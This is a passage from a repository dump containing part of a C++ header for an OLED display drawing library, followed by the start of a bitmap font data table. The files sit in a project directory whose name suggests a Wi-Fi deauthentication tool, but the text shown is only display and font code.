position 1\n    void drawLine(int16_t x0, int16_t y0, int16_t x1, int16_t y1);\n\n    // Draw the border of a rectangle at the given location\n    void drawRect(int16_t x, int16_t y, int16_t width, int16_t height);\n\n    // Fill the rectangle\n    void fillRect(int16_t x, int16_t y, int16_t width, int16_t height);\n\n    // Draw the border of a circle\n    void drawCircle(int16_t x, int16_t y, int16_t radius);\n\n    // Draw all Quadrants specified in the quads bit mask\n    void drawCircleQuads(int16_t x0, int16_t y0, int16_t radius, uint8_t quads);\n\n    // Fill circle\n    void fillCircle(int16_t x, int16_t y, int16_t radius);\n\n    // Draw a line horizontally\n    void drawHorizontalLine(int16_t x, int16_t y, int16_t length);\n\n    // Draw a line vertically\n    void drawVerticalLine(int16_t x, int16_t y, int16_t length);\n\n    // Draws a rounded progress bar with the outer dimensions given by width and height. Progress is\n    // a unsigned byte value between 0 and 100\n    void drawProgressBar(uint16_t x, uint16_t y, uint16_t width, uint16_t height, uint8_t progress);\n\n    // Draw a bitmap in the internal image format\n    void drawFastImage(int16_t x, int16_t y, int16_t width, int16_t height, const uint8_t *image);\n\n    // Draw a XBM\n    void drawXbm(int16_t x, int16_t y, int16_t width, int16_t height, const uint8_t *xbm);\n\n    // Draw icon 16x16 xbm format\n    void drawIco16x16(int16_t x, int16_t y, const char *ico, bool inverse = false);\n\n    /* Text functions */\n\n    // Draws a string at the given location\n    void drawString(int16_t x, int16_t y, String text);\n\n    // Draws a String with a maximum width at the given location.\n    // If the given String is wider than the specified width\n    // The text will be wrapped to the next line at a space or dash\n    void drawStringMaxWidth(int16_t x, int16_t y, uint16_t maxLineWidth, String text);\n\n    // Returns the width of the const char* with the current\n    // font settings\n    uint16_t getStringWidth(const char* text, uint16_t length);\n\n    // Convencience method for the const char version\n    uint16_t getStringWidth(String text);\n\n    // Specifies relative to which anchor point\n    // the text is rendered. Available constants:\n    // TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER, TEXT_ALIGN_RIGHT, TEXT_ALIGN_CENTER_BOTH\n    void setTextAlignment(OLEDDISPLAY_TEXT_ALIGNMENT textAlignment);\n\n    // Sets the current font. Available default fonts\n    // ArialMT_Plain_10, ArialMT_Plain_16, ArialMT_Plain_24\n    void setFont(const uint8_t *fontData);\n\n    // Set the function that will convert utf-8 to font table index\n    void setFontTableLookupFunction(FontTableLookupFunction function);\n\n    /* Display functions */\n\n    // Turn the display on\n    void displayOn(void);\n\n    // Turn the display offs\n    void displayOff(void);\n\n    // Inverted display mode\n    void invertDisplay(void);\n\n    // Normal display mode\n    void normalDisplay(void);\n\n    // Set display contrast\n    // really low brightness & contrast: contrast = 10, precharge = 5, comdetect = 0\n    // normal brightness & contrast:  contrast = 100\n    void setContrast(uint8_t contrast, uint8_t precharge = 241, uint8_t comdetect = 64);\n\n    // Convenience method to access \n    void setBrightness(uint8_t);\n\n    // Reset display rotation or mirroring\n    void resetOrientation();\n\n    // Turn the display upside down\n    void flipScreenVertically();\n\n    // Mirror the display (to be used in a mirror or as a projector)\n    void mirrorScreen();\n\n    // Write the buffer to the display memory\n    virtual void display(void) = 0;\n\n    // Clear the local pixel buffer\n    void clear(void);\n\n    // Log buffer implementation\n\n    // This will define the lines and characters you can\n    // print to the screen. When you exeed the buffer size (lines * chars)\n    // the output may be truncated due to the size constraint.\n    bool setLogBuffer(uint16_t lines, uint16_t chars);\n\n    // Draw the log buffer at position (x, y)\n    void drawLogBuffer(uint16_t x, uint16_t y);\n\n    // Get screen geometry\n    uint16_t getWidth(void);\n    uint16_t getHeight(void);\n\n    // Implement needed function to be compatible with Print class\n    size_t write(uint8_t c);\n    size_t write(const char* s);\n\t\n    // Implement needed function to be compatible with Stream class\n#ifdef __MBED__\n\tint _putc(int c);\n\tint _getc() { return -1; };\n#endif\n\n\n    uint8_t            *buffer;\n\n    #ifdef OLEDDISPLAY_DOUBLE_BUFFER\n    uint8_t            *buffer_back;\n    #endif\n\n  protected:\n\n    OLEDDISPLAY_GEOMETRY geometry;\n\n    uint16_t  displayWidth;\n    uint16_t  displayHeight;\n    uint16_t  displayBufferSize;\n\n    // Set the correct height, width and buffer for the geometry\n    void setGeometry(OLEDDISPLAY_GEOMETRY g, uint16_t width = 0, uint16_t height = 0);\n\n    OLEDDISPLAY_TEXT_ALIGNMENT   textAlignment;\n    OLEDDISPLAY_COLOR            color;\n\n    const uint8_t\t *fontData;\n\n    // State values for logBuffer\n    uint16_t   logBufferSize;\n    uint16_t   logBufferFilled;\n    uint16_t   logBufferLine;\n    uint16_t   logBufferMaxLines;\n    char      *logBuffer;\n\n\n\t// the header size of the buffer used, e.g. for the SPI command header\n\tvirtual int getBufferOffset(void) = 0;\n\t\n    // Send a command to the display (low level function)\n    virtual void sendCommand(uint8_t com) {(void)com;};\n\n    // Connect to the display\n    virtual bool connect() { return false; };\n\n    // Send all the init commands\n    void sendInitCommands();\n\n    // converts utf8 characters to extended ascii\n    char* utf8ascii(String s);\n\n    void inline drawInternal(int16_t xMove, int16_t yMove, int16_t width, int16_t height, const uint8_t *data, uint16_t offset, uint16_t bytesInData) __attribute__((always_inline));\n\n    void drawStringInternal(int16_t xMove, int16_t yMove, char* text, uint16_t textLength, uint16_t textWidth);\n\t\n\tFontTableLookupFunction fontTableLookupFunction;\n};\n\n#endif\n"
  },
  {
    "path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplayFonts.h",
    "content": "#ifndef OLEDDISPLAYFONTS_h\n#define OLEDDISPLAYFONTS_h\n\n#ifdef __MBED__\n#define PROGMEM\n#endif\n\nconst uint8_t ArialMT_Plain_10[] PROGMEM = {\n  0x0A, // Width: 10\n  0x0D, // Height: 13\n  0x20, // First Char: 32\n  0xE0, // Numbers of Chars: 224\n\n  // Jump Table:\n  0xFF, 0xFF, 0x00, 0x03,  // 32:65535\n  0x00, 0x00, 0x04, 0x03,  // 33:0\n  0x00, 0x04, 0x05, 0x04,  // 34:4\n  0x00, 0x09, 0x09, 0x06,  // 35:9\n  0x00, 0x12, 0x0A, 0x06,  // 36:18\n  0x00, 0x1C, 0x10, 0x09,  // 37:28\n  0x00, 0x2C, 0x0E, 0x07,  // 38:44\n  0x00, 0x3A, 0x01, 0x02,  // 39:58\n  0x00, 0x3B, 0x06, 0x03,  // 40:59\n  0x00, 0x41, 0x06, 0x03,  // 41:65\n  0x00, 0x47, 0x05, 0x04,  // 42:71\n  0x00, 0x4C, 0x09, 0x06,  // 43:76\n  0x00, 0x55, 0x04, 0x03,  // 44:85\n  0x00, 0x59, 0x03, 0x03,  // 45:89\n  0x00, 0x5C, 0x04, 0x03,  // 46:92\n  0x00, 0x60, 0x05, 0x03,  // 47:96\n  0x00, 0x65, 0x0A, 0x06,  // 48:101\n  0x00, 0x6F, 0x08, 0x06,  // 49:111\n  0x00, 0x77, 0x0A, 0x06,  // 50:119\n  0x00, 0x81, 0x0A, 0x06,  // 51:129\n  0x00, 0x8B, 0x0B, 0x06,  // 52:139\n  0x00, 0x96, 0x0A, 0x06,  // 53:150\n  0x00, 0xA0, 0x0A, 0x06,  // 54:160\n  0x00, 0xAA, 0x09, 0x06,  // 55:170\n  0x00, 0xB3, 0x0A, 0x06,  // 56:179\n  0x00, 0xBD, 0x0A, 0x06,  // 57:189\n  0x00, 0xC7, 0x04, 0x03,  // 58:199\n  0x00, 0xCB, 0x04, 0x03,  // 59:203\n  0x00, 0xCF, 0x0A, 0x06,  // 60:207\n  0x00, 0xD9, 0x09, 0x06,  // 61:217\n  0x00, 0xE2, 0x09, 0x06,  // 62:226\n  0x00, 0xEB, 0x0B, 0x06,  // 63:235\n  0x00, 0xF6, 0x14, 0x0A,  // 64:246\n  0x01, 0x0A, 0x0E, 0x07,  // 65:266\n  0x01, 0x18, 0x0C, 0x07,  // 66:280\n  0x01, 0x24, 0x0C, 0x07,  // 67:292\n  0x01, 0x30, 0x0B, 0x07,  // 68:304\n  0x01, 0x3B, 0x0C, 0x07,  // 69:315\n  0x01, 0x47, 0x09, 0x06,  // 70:327\n  0x01, 0x50, 0x0D, 0x08,  // 71:336\n  0x01, 0x5D, 0x0C, 0x07,  // 72:349\n  0x01, 0x69, 0x04, 0x03,  // 73:361\n  0x01, 0x6D, 0x08, 0x05,  // 74:365\n  0x01, 0x75, 0x0E, 0x07,  // 75:373\n  0x01, 0x83, 0x0C, 0x06,  // 76:387\n  0x01, 0x8F, 0x10, 0x08,  // 77:399\n  0x01, 0x9F, 0x0C, 0x07,  // 78:415\n  0x01, 0xAB, 0x0E, 0x08,  // 79:427\n  0x01, 0xB9, 0x0B, 0x07,  // 80:441\n  0x01, 0xC4, 0x0E, 0x08,  // 81:452\n  0x01, 0xD2, 0x0C, 0x07,  // 82:466\n  0x01, 0xDE, 0x0C, 0x07,  // 83:478\n  0x01, 0xEA, 0x0B, 0x06,  // 84:490\n  0x01, 0xF5, 0x0C, 0x07,  // 85:501\n  0x02, 0x01, 0x0D, 0x07,  // 86:513\n  0x02, 0x0E, 0x11, 0x09,  // 87:526\n  0x02, 0x1F, 0x0E, 0x07,  // 88:543\n  0x02, 0x2D, 0x0D, 0x07,  // 89:557\n  0x02, 0x3A, 0x0C, 0x06,  // 90:570\n  0x02, 0x46, 0x06, 0x03,  // 91:582\n  0x02, 0x4C, 0x06, 0x03,  // 92:588\n  0x02, 0x52, 0x04, 0x03,  // 93:594\n  0x02, 0x56, 0x09, 0x05,  // 94:598\n  0x02, 0x5F, 0x0C, 0x06,  // 95:607\n  0x02, 0x6B, 0x03, 0x03,  // 96:619\n  0x02, 0x6E, 0x0A, 0x06,  // 97:622\n  0x02, 0x78, 0x0A, 0x06,  // 98:632\n  0x02, 0x82, 0x0A, 0x05,  // 99:642\n  0x02, 0x8C, 0x0A, 0x06,  // 100:652\n  0x02, 0x96, 0x0A, 0x06,  // 101:662\n  0x02, 0xA0, 0x05, 0x03,  // 102:672\n  0x02, 0xA5, 0x0A, 0x06,  // 103:677\n  0x02, 0xAF, 0x0A, 0x06,  // 104:687\n  0x02, 0xB9, 0x04, 0x02,  // 105:697\n  0x02, 0xBD, 0x04, 0x02,  // 106:701\n  0x02, 0xC1, 0x08, 0x05,  // 107:705\n  0x02, 0xC9, 0x04, 0x02,  // 108:713\n  0x02, 0xCD, 0x10, 0x08,  // 109:717\n  0x02, 0xDD, 0x0A, 0x06,  // 110:733\n  0x02, 0xE7, 0x0A, 0x06,  // 111:743\n  0x02, 0xF1, 0x0A, 0x06,  // 112:753\n  0x02, 0xFB, 0x0A, 0x06,  // 113:763\n  0x03, 0x05, 0x05, 0x03,  // 114:773\n  0x03, 0x0A, 0x08, 0x05,  // 115:778\n  0x03, 0x12, 0x06, 0x03,  // 116:786\n  0x03, 0x18, 0x0A, 0x06,  // 117:792\n  0x03, 0x22, 0x09, 0x05,  // 118:802\n  0x03, 0x2B, 0x0E, 0x07,  // 119:811\n  0x03, 0x39, 0x0A, 0x05,  // 120:825\n  0x03, 0x43, 0x09, 0x05,  // 121:835\n  0x03, 0x4C, 0x0A, 0x05,  // 122:844\n  0x03, 0x56, 0x06, 0x03,  // 123:854\n  0x03, 0x5C, 0x04, 0x03,  // 124:860\n  0x03, 0x60, 0x05, 0x03,  // 125:864\n  0x03, 0x65, 0x09, 0x06,  // 126:869\n  0xFF, 0xFF, 0x00, 0x00,  // 127:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 128:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 129:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 130:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 131:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 132:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 133:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 134:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 135:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 136:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 137:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 138:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 139:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 140:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 141:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 142:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 143:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 144:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 145:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 146:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 147:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 148:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 149:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 150:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 151:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 152:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 153:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 154:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 155:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 156:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 157:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 158:65535\n  0xFF, 0xFF, 0x00, 0x0A,  // 159:65535\n  0xFF, 0xFF, 0x00, 0x03,  // 160:65535\n  0x03, 0x6E, 0x04, 0x03,  // 161:878\n  0x03, 0x72, 0x0A, 0x06,  // 162:882\n  0x03, 0x7C, 0x0C, 0x06,  // 163:892\n  0x03, 0x88, 0x0A, 0x06,  // 164:904\n  0x03, 0x92, 0x0A, 0x06,  // 165:914\n  0x03, 0x9C, 0x04, 0x03,  // 166:924\n  0x03, 0xA0, 0x0A, 0x06,  // 167:928\n  0x03, 0xAA, 0x05, 0x03,  // 168:938\n  0x03, 0xAF, 0x0D, 0x07,  // 169:943\n  0x03, 0xBC, 0x07, 0x04,  // 170:956\n  0x03, 0xC3, 0x0A, 0x06,  // 171:963\n  0x03, 0xCD, 0x09, 0x06,  // 172:973\n  0x03, 0xD6, 0x03, 0x03,  // 173:982\n  0x03, 0xD9, 0x0D, 0x07,  // 174:985\n  0x03, 0xE6, 0x0B, 0x06,  // 175:998\n  0x03, 0xF1, 0x07, 0x04,  // 176:1009\n  0x03, 0xF8, 0x0A, 0x05,  // 177:1016\n  0x04, 0x02, 0x05, 0x03,  // 178:1026\n  0x04, 0x07, 0x05, 0x03,  // 179:1031\n  0x04, 0x0C, 0x05, 0x03,  // 180:1036\n  0x04, 0x11, 0x0A, 0x06,  // 181:1041\n  0x04, 0x1B, 0x09, 0x05,  // 182:1051\n  0x04, 0x24, 0x03, 0x03,  // 183:1060\n  0x04, 0x27, 0x06, 0x03,  // 184:1063\n  0x04, 0x2D, 0x05, 0x03,  // 185:1069\n  0x04, 0x32, 0x07, 0x04,  // 186:1074\n  0x04, 0x39, 0x0A, 0x06,  // 187:1081\n  0x04, 0x43, 0x10, 0x08,  // 188:1091\n  0x04, 0x53, 0x10, 0x08,  // 189:1107\n  0x04, 0x63, 0x10, 0x08,  // 190:1123\n  0x04, 0x73, 0x0A, 0x06,  // 191:1139\n  0x04, 0x7D, 0x0E, 0x07,  // 192:1149\n  0x04, 0x8B, 0x0E, 0x07,  // 193:1163\n  0x04, 0x99, 0x0E, 0x07,  // 194:1177\n  0x04, 0xA7, 0x0E, 0x07,  // 195:1191\n  0x04, 0xB5, 0x0E, 0x07,  // 196:1205\n  0x04, 0xC3, 0x0E, 0x07,  // 197:1219\n  0x04, 0xD1, 0x12, 0x0A,  // 198:1233\n  0x04, 0xE3, 0x0C, 0x07,  // 199:1251\n  0x04, 0xEF, 0x0C, 0x07,  // 200:1263\n  0x04, 0xFB, 0x0C, 0x07,  // 201:1275\n  0x05, 0x07, 0x0C, 0x07,  // 202:1287\n  0x05, 0x13, 0x0C, 0x07,  // 203:1299\n  0x05, 0x1F, 0x05, 0x03,  // 204:1311\n  0x05, 0x24, 0x04, 0x03,  // 205:1316\n  0x05, 0x28, 0x04, 0x03,  // 206:1320\n  0x05, 0x2C, 0x05, 0x03,  // 207:1324\n  0x05, 0x31, 0x0B, 0x07,  // 208:1329\n  0x05, 0x3C, 0x0C, 0x07,  // 209:1340\n  0x05, 0x48, 0x0E, 0x08,  // 210:1352\n  0x05, 0x56, 0x0E, 0x08,  // 211:1366\n  0x05, 0x64, 0x0E, 0x08,  // 212:1380\n  0x05, 0x72, 0x0E, 0x08,  // 213:1394\n  0x05, 0x80, 0x0E, 0x08,  // 214:1408\n  0x05, 0x8E, 0x0A, 0x06,  // 215:1422\n  0x05, 0x98, 0x0D, 0x08,  // 216:1432\n  0x05, 0xA5, 0x0C, 0x07,  // 217:1445\n  0x05, 0xB1, 0x0C, 0x07,  // 218:1457\n  0x05, 0xBD, 0x0C, 0x07,  // 219:1469\n  0x05, 0xC9, 0x0C, 0x07,  // 220:1481\n  0x05, 0xD5, 0x0D, 0x07,  // 221:1493\n  0x05, 0xE2, 0x0B, 0x07,  // 222:1506\n  0x05, 0xED, 0x0C, 0x06,  // 223:1517\n  0x05, 0xF9, 0x0A, 0x06,  // 224:1529\n  0x06, 0x03, 0x0A, 0x06,  // 225:1539\n  0x06, 0x0D, 0x0A, 0x06,  // 226:1549\n  0x06, 0x17, 0x0A, 0x06,  // 227:1559\n  0x06, 0x21, 0x0A, 0x06,  // 228:1569\n  0x06, 0x2B, 0x0A, 0x06,  // 229:1579\n  0x06, 0x35, 0x10, 0x09,  // 230:1589\n  0x06, 0x45, 0x0A, 0x05,  // 231:1605\n  0x06, 0x4F, 0x0A, 0x06,  // 232:1615\n  0x06, 0x59, 0x0A, 0x06,  // 233:1625\n  0x06, 0x63, 0x0A, 0x06,  // 234:1635\n  0x06, 0x6D, 0x0A, 0x06,  // 235:1645\n  0x06, 0x77, 0x05, 0x03,  // 236:1655\n  0x06, 0x7C, 0x04, 0x03,  // 237:1660\n  0x06, 0x80, 0x05, 0x03,  // 238:1664\n  0x06, 0x85, 0x05, 0x03,  // 239:1669\n  0x06, 0x8A, 0x0A, 0x06,  // 240:1674\n  0x06, 0x94, 0x0A, 0x06,  // 241:1684\n  0x06, 0x9E, 0x0A, 0x06,  // 242:1694\n  0x06, 0xA8, 0x0A, 0x06,  // 243:1704\n  0x06, 0xB2, 0x0A, 0x06,  // 244:1714\n  0x06, 0xBC, 0x0A, 0x06,  // 245:1724\n  0x06, 0xC6, 0x0A, 0x06,  // 246:1734\n  0x06, 0xD0, 0x09, 0x05,  // 247:1744\n  0x06, 0xD9, 0x0A, 0x06,  // 248:1753\n  0x06, 0xE3, 0x0A, 0x06,  // 249:1763\n  0x06, 0xED, 0x0A, 0x06,  // 250:1773\n  0x06, 0xF7, 0x0A, 0x06,  // 251:1783\n  0x07, 0x01, 0x0A, 0x06,  // 252:1793\n  0x07, 0x0B, 0x09, 0x05,  // 253:1803\n  0x07, 0x14, 0x0A, 0x06,  // 254:1812\n  0x07, 0x1E, 0x09, 0x05,  // 255:1822\n\n  // Font Data:\n  0x00,0x00,0xF8,0x02,  // 33\n  0x38,0x00,0x00,0x00,0x38, // 34\n  0xA0,0x03,0xE0,0x00,0xB8,0x03,0xE0,0x00,0xB8, // 35\n  0x30,0x01,0x28,0x02,0xF8,0x07,0x48,0x02,0x90,0x01,  // 36\n  0x00,0x00,0x30,0x00,0x48,0x00,0x30,0x03,0xC0,0x00,0xB0,0x01,0x48,0x02,0x80,0x01,  // 37\n  0x80,0x01,0x50,0x02,0x68,0x02,0xA8,0x02,0x18,0x01,0x80,0x03,0x80,0x02,  // 38\n  0x38, // 39\n  0xE0,0x03,0x10,0x04,0x08,0x08,  // 40\n  0x08,0x08,0x10,0x04,0xE0,0x03,  // 41\n  0x28,0x00,0x18,0x00,0x28, // 42\n  0x40,0x00,0x40,0x00,0xF0,0x01,0x40,0x00,0x40, // 43\n  0x00,0x00,0x00,0x06,  // 44\n  0x80,0x00,0x80, // 45\n  0x00,0x00,0x00,0x02,  // 46\n  0x00,0x03,0xE0,0x00,0x18, // 47\n  0xF0,0x01,0x08,0x02,0x08,0x02,0x08,0x02,0xF0,0x01,  // 48\n  0x00,0x00,0x20,0x00,0x10,0x00,0xF8,0x03,  // 49\n  0x10,0x02,0x08,0x03,0x88,0x02,0x48,0x02,0x30,0x02,  // 50\n  0x10,0x01,0x08,0x02,0x48,0x02,0x48,0x02,0xB0,0x01,  // 51\n  0xC0,0x00,0xA0,0x00,0x90,0x00,0x88,0x00,0xF8,0x03,0x80, // 52\n  0x60,0x01,0x38,0x02,0x28,0x02,0x28,0x02,0xC8,0x01,  // 53\n  0xF0,0x01,0x28,0x02,0x28,0x02,0x28,0x02,0xD0,0x01,  // 54\n  0x08,0x00,0x08,0x03,0xC8,0x00,0x38,0x00,0x08, // 55\n  0xB0,0x01,0x48,0x02,0x48,0x02,0x48,0x02,0xB0,0x01,  // 56\n  0x70,0x01,0x88,0x02,0x88,0x02,0x88,0x02,0xF0,0x01,  // 57\n  0x00,0x00,0x20,0x02,  // 58\n  0x00,0x00,0x20,0x06,  // 59\n  0x00,0x00,0x40,0x00,0xA0,0x00,0xA0,0x00,0x10,0x01,  // 60\n  0xA0,0x00,0xA0,0x00,0xA0,0x00,0xA0,0x00,0xA0, // 61\n  0x00,0x00,0x10,0x01,0xA0,0x00,0xA0,0x00,0x40, // 62\n  0x10,0x00,0x08,0x00,0x08,0x00,0xC8,0x02,0x48,0x00,0x30, // 63\n  0x00,0x00,0xC0,0x03,0x30,0x04,0xD0,0x09,0x28,0x0A,0x28,0x0A,0xC8,0x0B,0x68,0x0A,0x10,0x05,0xE0,0x04,  // 64\n  0x00,0x02,0xC0,0x01,0xB0,0x00,0x88,0x00,0xB0,0x00,0xC0,0x01,0x00,0x02,  // 65\n  0x00,0x00,0xF8,0x03,0x48,0x02,0x48,0x02,0x48,0x02,0xF0,0x01,  // 66\n  0x00,0x00,0xF0,0x01,0x08,0x02,0x08,0x02,0x08,0x02,0x10,0x01,  // 67\n  0x00,0x00,0xF8,0x03,0x08,0x02,0x08,0x02,0x10,0x01,0xE0, // 68\n  0x00,0x00,0xF8,0x03,0x48,0x02,0x48,0x02,0x48,0x02,0x48,0x02,  // 69\n  0x00,0x00,0xF8,0x03,0x48,0x00,0x48,0x00,0x08, // 70\n  0x00,0x00,0xE0,0x00,0x10,0x01,0x08,0x02,0x48,0x02,0x50,0x01,0xC0, // 71\n  0x00,0x00,0xF8,0x03,0x40,0x00,0x40,0x00,0x40,0x00,0xF8,0x03,  // 72\n  0x00,0x00,0xF8,0x03,  // 73\n  0x00,0x03,0x00,0x02,0x00,0x02,0xF8,0x01,  // 74\n  0x00,0x00,0xF8,0x03,0x80,0x00,0x60,0x00,0x90,0x00,0x08,0x01,0x00,0x02,  // 75\n  0x00,0x00,0xF8,0x03,0x00,0x02,0x00,0x02,0x00,0x02,0x00,0x02,  // 76\n  0x00,0x00,0xF8,0x03,0x30,0x00,0xC0,0x01,0x00,0x02,0xC0,0x01,0x30,0x00,0xF8,0x03,  // 77\n  0x00,0x00,0xF8,0x03,0x30,0x00,0x40,0x00,0x80,0x01,0xF8,0x03,  // 78\n  0x00,0x00,0xF0,0x01,0x08,0x02,0x08,0x02,0x08,0x02,0x08,0x02,0xF0,0x01,  // 79\n  0x00,0x00,0xF8,0x03,0x48,0x00,0x48,0x00,0x48,0x00,0x30, // 80\n  0x00,0x00,0xF0,0x01,0x08,0x02,0x08,0x02,0x08,0x03,0x08,0x03,0xF0,0x02,  // 81\n  0x00,0x00,0xF8,0x03,0x48,0x00,0x48,0x00,0xC8,0x00,0x30,0x03,  // 82\n  0x00,0x00,0x30,0x01,0x48,0x02,0x48,0x02,0x48,0x02,0x90,0x01,  // 83\n  0x00,0x00,0x08,0x00,0x08,0x00,0xF8,0x03,0x08,0x00,0x08, // 84\n  0x00,0x00,0xF8,0x01,0x00,0x02,0x00,0x02,0x00,0x02,0xF8,0x01,  // 85\n  0x08,0x00,0x70,0x00,0x80,0x01,0x00,0x02,0x80,0x01,0x70,0x00,0x08, // 86\n  0x18,0x00,0xE0,0x01,0x00,0x02,0xF0,0x01,0x08,0x00,0xF0,0x01,0x00,0x02,0xE0,0x01,0x18, // 87\n  0x00,0x02,0x08,0x01,0x90,0x00,0x60,0x00,0x90,0x00,0x08,0x01,0x00,0x02,  // 88\n  0x08,0x00,0x10,0x00,0x20,0x00,0xC0,0x03,0x20,0x00,0x10,0x00,0x08, // 89\n  0x08,0x03,0x88,0x02,0xC8,0x02,0x68,0x02,0x38,0x02,0x18,0x02,  // 90\n  0x00,0x00,0xF8,0x0F,0x08,0x08,  // 91\n  0x18,0x00,0xE0,0x00,0x00,0x03,  // 92\n  0x08,0x08,0xF8,0x0F,  // 93\n  0x40,0x00,0x30,0x00,0x08,0x00,0x30,0x00,0x40, // 94\n  0x00,0x08,0x00,0x08,0x00,0x08,0x00,0x08,0x00,0x08,0x00,0x08,  // 95\n  0x08,0x00,0x10, // 96\n  0x00,0x00,0x00,0x03,0xA0,0x02,0xA0,0x02,0xE0,0x03,  // 97\n  0x00,0x00,0xF8,0x03,0x20,0x02,0x20,0x02,0xC0,0x01,  // 98\n  0x00,0x00,0xC0,0x01,0x20,0x02,0x20,0x02,0x40,0x01,  // 99\n  0x00,0x00,0xC0,0x01,0x20,0x02,0x20,0x02,0xF8,0x03,  // 100\n  0x00,0x00,0xC0,0x01,0xA0,0x02,0xA0,0x02,0xC0,0x02,  // 101\n  0x20,0x00,0xF0,0x03,0x28, // 102\n  0x00,0x00,0xC0,0x05,0x20,0x0A,0x20,0x0A,0xE0,0x07,  // 103\n  0x00,0x00,0xF8,0x03,0x20,0x00,0x20,0x00,0xC0,0x03,  // 104\n  0x00,0x00,0xE8,0x03,  // 105\n  0x00,0x08,0xE8,0x07,  // 106\n  0xF8,0x03,0x80,0x00,0xC0,0x01,0x20,0x02,  // 107\n  0x00,0x00,0xF8,0x03,  // 108\n  0x00,0x00,0xE0,0x03,0x20,0x00,0x20,0x00,0xE0,0x03,0x20,0x00,0x20,0x00,0xC0,0x03,  // 109\n  0x00,0x00,0xE0,0x03,0x20,0x00,0x20,0x00,0xC0,0x03,  // 110\n  0x00,0x00,0xC0,0x01,0x20,0x02,0x20,0x02,0xC0,0x01,  // 111\n  0x00,0x00,0xE0,0x0F,0x20,0x02,0x20,0x02,0xC0,0x01,  // 112\n  0x00,0x00,0xC0,0x01,0x20,0x02,0x20,0x02,0xE0,0x0F,  // 113\n  0x00,0x00,0xE0,0x03,0x20, // 114\n  0x40,0x02,0xA0,0x02,0xA0,0x02,0x20,0x01,  // 115\n  0x20,0x00,0xF8,0x03,0x20,0x02,  // 116\n  0x00,0x00,0xE0,0x01,0x00,0x02,0x00,0x02,0xE0,0x03,  // 117\n  0x20,0x00,0xC0,0x01,0x00,0x02,0xC0,0x01,0x20, // 118\n  0xE0,0x01,0x00,0x02,0xC0,0x01,0x20,0x00,0xC0,0x01,0x00,0x02,0xE0,0x01,  // 119\n  0x20,0x02,0x40,0x01,0x80,0x00,0x40,0x01,0x20,0x02,  // 120\n  0x20,0x00,0xC0,0x09,0x00,0x06,0xC0,0x01,0x20, // 121\n  0x20,0x02,0x20,0x03,0xA0,0x02,0x60,0x02,0x20,0x02,  // 122\n  0x80,0x00,0x78,0x0F,0x08,0x08,  // 123\n  0x00,0x00,0xF8,0x0F,  // 124\n  0x08,0x08,0x78,0x0F,0x80, // 125\n  0xC0,0x00,0x40,0x00,0xC0,0x00,0x80,0x00,0xC0, // 126\n  0x00,0x00,0xA0,0x0F,  // 161\n  0x00,0x00,0xC0,0x01,0xA0,0x0F,0x78,0x02,0x40,0x01,  // 162\n  0x40,0x02,0x70,0x03,0xC8,0x02,0x48,0x02,0x08,0x02,0x10,0x02,  // 163\n  0x00,0x00,0xE0,0x01,0x20,0x01,0x20,0x01,0xE0,0x01,  // 164\n  0x48,0x01,0x70,0x01,0xC0,0x03,0x70,0x01,0x48,0x01,  // 165\n  0x00,0x00,0x38,0x0F,  // 166\n  0xD0,0x04,0x28,0x09,0x48,0x09,0x48,0x0A,0x90,0x05,  // 167\n  0x08,0x00,0x00,0x00,0x08, // 168\n  0xE0,0x00,0x10,0x01,0x48,0x02,0xA8,0x02,0xA8,0x02,0x10,0x01,0xE0, // 169\n  0x68,0x00,0x68,0x00,0x68,0x00,0x78, // 170\n  0x00,0x00,0x80,0x01,0x40,0x02,0x80,0x01,0x40,0x02,  // 171\n  0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0xE0, // 172\n  0x80,0x00,0x80, // 173\n  0xE0,0x00,0x10,0x01,0xE8,0x02,0x68,0x02,0xC8,0x02,0x10,0x01,0xE0, // 174\n  0x02,0x00,0x02,0x00,0x02,0x00,0x02,0x00,0x02,0x00,0x02, // 175\n  0x00,0x00,0x38,0x00,0x28,0x00,0x38, // 176\n  0x40,0x02,0x40,0x02,0xF0,0x03,0x40,0x02,0x40,0x02,  // 177\n  0x48,0x00,0x68,0x00,0x58, // 178\n  0x48,0x00,0x58,0x00,0x68, // 179\n  0x00,0x00,0x10,0x00,0x08, // 180\n  0x00,0x00,0xE0,0x0F,0x00,0x02,0x00,0x02,0xE0,0x03,  // 181\n  0x70,0x00,0xF8,0x0F,0x08,0x00,0xF8,0x0F,0x08, // 182\n  0x00,0x00,0x40, // 183\n  0x00,0x00,0x00,0x14,0x00,0x18,  // 184\n  0x00,0x00,0x10,0x00,0x78, // 185\n  0x30,0x00,0x48,0x00,0x48,0x00,0x30, // 186\n  0x00,0x00,0x40,0x02,0x80,0x01,0x40,0x02,0x80,0x01,  // 187\n  